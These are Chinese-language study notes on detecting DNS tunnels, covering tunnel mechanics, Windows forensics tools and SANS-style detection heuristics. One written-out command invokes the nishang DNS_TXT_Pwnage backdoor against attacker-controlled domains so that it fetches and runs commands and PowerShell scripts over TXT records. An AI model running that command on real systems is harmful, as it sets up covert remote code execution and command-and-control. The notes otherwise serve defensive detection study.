简要介绍
关于dns隧道检测 的学习笔记
DNS 隧道检测
看了很多篇有关dns隧道网文,决定从以下几个方面来分析一下dns隧道
- 原理总结
- dns后门工具:nishang/DNS_TXT_Pwnage
- 如何对dns请求取证分析:本机DNS请求->定位到进程,wireshark->查看流量包,监控单个进程行为
原理
原文中将dns tunnel按照外传,和交互方式的特点来分类
dns外传方式分类两个因素
有无经过本地dns服务器
通过本地dns服务器或者是直接向公共服务器8.8.8.8进行查询
nslookup domain 8.8.8.8
nslookup domain
效果差异: 在发现以后,使用本地dns服务器可以进行黑名单过滤,对查询过程进行阻止,使用公共dns服务器无法进行阻止
有无构造dns包体
通过dns配置或者是直接发送dns包体进行查询
使用dnspython模块,或者python构造socket进行dns查询
效果差异:
- 系统dns配置,无法获取哪个程序调用了dns请求,仅能看到系统svchost.exe的dns请求
- 构造dns包体,可以获取哪个进程进行了dns请求
dns交互分析
- 超长记录外传数据 通过记录外传数据
- 利用txt记录获取回传数据
- A记录回包作为C&C地址
工具分析
先对工具进行分析,知己知彼,百战不殆
DNS_TXT_Pwnage
场景假设:
- victim向目标evil_dns服务器请求为type=txt的dns服务
- evil_dns返回,nishang的DNS_TXT_Pwnage读取txt并执行
- 乌云文章:DNS TXT记录执行powershell 等多种方式 中均没有涉及到通过长域名将数据外传,相当于使用powershell使用dns_txt请求得到木马,再进行tcp通信 wooyun.jozxing.cc/static/drops/tips-8971.html
使用手册
DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -Subdomains 1 -StopString stop
-startdomain :向startdomain发送请求 ,从txt记录回复中提取字串
-cmdstring 如果startdomain 获取的值 与cmdstring 相同 会请求comdomain
-commanddomain dns命令服务器,返回的txt记录,直接是命令方式:get-user
-psstring 如果startdomain 获取的值 与psstring 相同,会请求psdomain
-psdomain dns脚本服务器,返回的txt记录是脚本形式,是用Out-DnsTxt 加密后的,经过解密可直接执行
-subdomain 脚本太大,txt记录长度限制只能在255,比如一个脚本可能被分成两个加密字串 subdomain为2,在域名解析配置为1.ps 和 2.ps psdomain配置为ps
-stopstring 如果startdomain值与 stopstring相同则停止运行,注:脚本是一直运行并发送请求
特征:
利用txt记录获取回传记录
对于是否构造dns包体暂不清楚,是否使用本地dns服务器可以先看代码
监控取证
windows cmd下 ipconfig /flushdns 刷新缓存, ipconfig /displaydns 查看缓存,缓存操作
开启dns日志,win7有效果
使用etw
理论上可行,但是使用pywintrace不知道为什么没有日志输出,暂时无法实际操作
监控每个端口上的DNS通信
收集每个端口(或DNS客户端)上DNS解析器执行的每个DNS解析。数据是从Microsoft-Windows-DNS-Client ETW跟踪获得
监控Netflow(IP)流量到出站DNS端口53
从每个服务器收集出站端口53的Netflow数据。Netflow数据是来自数据包头(IP地址,域,端口,协议,字节和进程)的聚合网络元数据。数据来自Microsoft-Windows-Kernel-Network ETW跟踪
监控内部DNS服务器上的DNS数据(DNSflow)
汇总和收集来自DNS网络中DNS服务器的DNS查询和响应数据。DNSflow监控。收集的一些信息是聚合查询计数,查询类型,查询和响应字节,子域名,客户端和域名服务器IP地址。数据从Microsoft-Windows-DNSServer ETW跟踪出获得
使用wireshark
采用过滤器DNS,可以很清晰查看本机DNS向外部发送的请求
完成wireshark->查看流量包 目标
使用procmon
如果使用系统调用方式nslookup可以很好查到dns请求参数
procmon 是windowSysinternals中一款工具,可以对文件,进程,注册表操作做监控,使用菜单栏->Tools->Network Summary可以查看到相关的网络请求 Path代表 ip:port
形式 port为domain代表是dns查询,ip很有可能是内网地址,内网ip服务器,双击(添加进入过滤器),再使用Show ProcessTree 即可查看进程树,可以查看到调用的进程
简单易操作,能够完成从异常DNS定位到发起进程,无论是调用系统配置,nslookup,或者是构造dns查询包直接查询。
完成 本机DNS请求->定位到进程
在进程树将进程和子进程加入过滤器,可以监控所有的行为:完成 监控单个进程行为
大流量对DNS隧道进行检测(理论)
SAAN白皮书检测DNS隧道
文章从payload分析和流量分析两个部分来对dns流量进行检测
payload分析
请求和响应用来做隧道指示器
借用DGA(Domain Generation Algorithms)方法,
请求和响应的长度
- 检查请求源和目标字节长度的比率
- DNS隧道请求的字符从63到255个,也有人以52个以上做鉴别
主机名的熵
合法的DNS名通常来说符合字典而且看起来有意义,不合法的域名熵值高
统计分析
-
合法的域名使用的数字少,不合法的数字多
- 合法的域名在一定层度上反映了通用语言文本,使用字符频率来检测
- 重复辅音和数字通常情况都不会出现,
不寻常的记录类型
TXT 记录
####
流量分析
存在于时间之上,将考虑技术、频率和其他请求属性
攻击者角度 DNS使用
动态DNS 技术
将域名链接到动态IP上,IP 是变化的,动态IP地址映射到一个固定的域名解析服务上
Fast-flux
IP频繁变化 对应一个域名 (fast-flux技术地址)[http://www.freebuf.com/articles/network/136423.html]
域名地址变化
固定时间间隔产生唯一的域名, 域名生成算法(DGA)